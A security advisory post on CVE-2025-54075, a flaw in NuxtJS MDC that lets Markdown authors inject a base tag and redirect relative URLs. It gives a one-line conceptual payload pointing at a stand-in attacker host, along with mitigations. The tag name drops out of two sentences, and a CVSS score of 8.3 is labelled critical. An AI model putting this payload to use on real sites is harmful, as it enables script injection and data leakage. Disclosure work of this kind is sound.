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CVE-2025-54075: Critical Markdown Component Vulnerability in NuxtJS MDC

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Overview

The digital world is once again under threat from a severe cybersecurity vulnerability, identified as CVE-2025-54075, affecting the Markdown component (MDC) in NuxtJS. MDC is a tool used widely for writing documents that interact deeply with Vue components. This vulnerability, if exploited, can lead to potential system compromise or data leakage, making it a significant concern for users and developers alike. It is especially critical for businesses that utilize MDC in NuxtJS for their operations, as it poses a significant risk to their data security infrastructure.

Vulnerability Summary

CVE ID: CVE-2025-54075
Severity: Critical (CVSS score 8.3)
Attack Vector: Remote
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

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Product | Affected Versions

NuxtJS MDC | Prior to version 0.17.2

How the Exploit Works

This vulnerability arises due to an issue in the Markdown component of NuxtJS. The flaw allows a Markdown author to inject a “ element. The `` tag rewrites how all subsequent relative URLs are resolved, enabling an attacker to load scripts, styles, or images from an external, attacker-controlled origin. As a result, an attacker can execute arbitrary JavaScript in the site’s context, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This is a sample Markdown document that includes the malicious `` tag:

# My Markdown Document
<base href="https://attacker.tld">
Here is some text...

When parsed and rendered by the vulnerable version of NuxtJS MDC, this document would cause all subsequent relative URLs to be resolved against `https://attacker.tld`, potentially leading to the loading of malicious scripts or other resources.

Recommended Mitigations

Users and developers are urged to update to version 0.17.2 of NuxtJS MDC, which contains a fix for the issue. As a temporary mitigation measure, deploying a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help safeguard against potential exploits. However, these measures are not substitutes for applying the vendor patch, and as such, the patch should be applied as soon as possible to ensure maximum protection against this critical vulnerability.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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